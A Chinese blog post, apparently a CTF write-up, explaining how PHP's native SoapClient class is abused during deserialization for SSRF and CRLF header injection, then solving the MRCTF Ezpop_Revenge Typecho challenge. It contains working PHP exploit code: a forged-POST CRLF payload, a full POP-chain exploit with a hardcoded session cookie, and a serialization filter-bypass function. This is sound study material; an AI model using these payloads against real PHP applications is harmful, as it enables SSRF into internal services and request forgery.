关于反序列化中原生类的利用

关于反序列化中原生类的利用

配置环境,修改php.ini

1
2
3
4
5
得添加extension=php_soap.dll (加载soap 内置包)

修改soap.wsdl_cache_enabled=1 改为soap.wsdl_cache_enabled=0 这个是soap的缓存,测试的时候最好改为0,上线稳定了改为1

soap有两种模式一种是wsdl,一种是no-wsdl

关于soap用法 ,可参考https://www.jb51.net/article/153394.htm

SoapClient用于调用远程服务器上的SoapServer页面,并实现了对相应函数的调用。

可以先看一下原生类方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

关于soapclient有

1
2
3
SoapClient::__call
SoapFault::__toString
SoapFault::__wakeup

对于soapclient的实例有两种:

一种是通过wsdl文件,wsdl文件可以放在本地,也可以是通过远程引用,但我还没太了解这个。

$soap = new SoapClient("file.wsdl");

另一种不提供wsdl文件。如下当然只是简单的对象生成,还可以有很多参数,可以通过数组继续增加,还可以有user_agent

$soap = new SoapClient(null,array("location"=>"服务地址","uri"=>"命名空间"));

这个原生类的主要作用就在于触发它的__call方法来导致SSRF打内网的效果。先简单看网上的几个样例。

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

然后在本机上监听一下,但是很疑惑的是call方法到底是怎么实现的,看了很多文章都没介绍为啥,正常将call方法第一个传参的是调用的方法名,后面是参数,这个竟然能请求到自己设置的服务地址,大受震撼。这里简单调试了一下大概能懂一点。

实例化一个soapclient内容如下,还有后面两个参数。
在这里插入图片描述

查看了一下文档和SoapClient->__doRequest方法有关

在这里插入图片描述

这个会向服务地址发起请求,然后看了一下源码执行后的打印结果。

在这里插入图片描述

这里SoapClient->__doRequest的第一个参数为xml格式内容,第二个应该就是请求地址,最后是uri和调用的不存在方法。call方法的实现应该会用到SoapClient->__doRequest但还是没太懂。

在这里插入图片描述

这里还存在clrf漏洞,可以伪造post请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target = "http://127.0.0.1:5555/";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);
$test = unserialize($aaa);
$test->sdadasd();

在这里插入图片描述

MRCTF Ezpop_Revenge

题目是typecho1.2得反序列化,进入题目后没发现什么就经典扫一下目录,发现有www.zip泄露,拿到源码开始审计。

先看flag.php,这里看到需要本地访问,应该是要ssrf打
在这里插入图片描述

搜索一下unserialize发现入口,在Plugin.php过滤了很多rce函数。然后实例化得参数为数组里面得两个值。
在这里插入图片描述
在这里插入图片描述

跟进Typecho_Db实例化的过程,跟进后有很多代码,基本上是数据库查询得一些操作。构造函数这有一个字符串得连接,这里想到的可以利用__toString,再接着往下看。
在这里插入图片描述

慢慢看发现一个call_user_func函数,突然觉得是不是利用这个,后来发现不可控,而且都暗示要SSRF了肯定是不能RCE命令执行的,放弃了。
在这里插入图片描述

后面找到实例化sql对象。
在这里插入图片描述

跟进能看到里面真有一toString函数
在这里插入图片描述

但到这就不知道怎么做了,看了wp才知道可以将$this->_adapter控制为Soapclient类触发Soapclient原生类的__call函数从而可以进行SSRF,可以看上面最开始写的这个原理。

捋一下思路:
最开始是反序列化触发__wakeup函数,实例化对象 $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);这里可以将第一个参数$this->coincidence['hello']控制成为一个类,在Typecho_Db类中的$adapterName = 'Typecho_Db_Adapter_' . $adapterName;这个地方触发toString函数,然后接着触发原生类的call函数达到打SSRF的效果。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class HelloWorld_DB{
private $coincidence;
function __construct(){
$this->coincidence['hello'] = new Typecho_Db_Query();
$this->coincidence['world'] = 'typecho_';
}
}

class Typecho_Db_Query{
private $_sqlPreBuild;
private $_adapter;
public function __construct()
{
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=e1g1ch42pgkoa25uclhko75l10"
);
$this->_adapter = new SoapClient(null,array('uri'=>'exp', 'location'=>'http://127.0.0.1/flag.php','user_agent' => str_replace('^^',"\r\n",'KK^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers))));
$this->_sqlPreBuild = array('action'=>"SELECT");
}
}
function bypass($str){
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
$test = serialize(new HelloWorld_DB());
$test = urlencode($test);
$test = preg_replace('/%00/','%5c%30%30', $test);
$test = bypass(urldecode($test));
echo base64_encode($test);

这里面还有个坑,就是上面可以看到它过滤了%但是exp中有很多是private属性需要用%00不可见字符填充,然后就需要用\00来代替%00。这里还有个知识点

在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:”“:”“;
其中 是源字符串的长度,而非 的长度。 是非负整数,数字前可以带有正号(+)。 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 的内容了。

普通的序列化小s对应的就是普通的字符串,如s:3:”%00a%00”;
而序列化的大S则对应的是\加上16进制,如S:2:”\00a\00”;

看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/**
*
*/
class A
{
private $key = "123";
function __wakeup()
{
# code...
echo "ok";
}
}
// echo serialize(new A);
unserialize($_GET['test']);

在这里插入图片描述
将不可见字符%00转化为十六进制,小s变成大S,可以成功执行。
在这里插入图片描述

回到题目,路由在这里
在这里插入图片描述

最后发包得到flag
在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!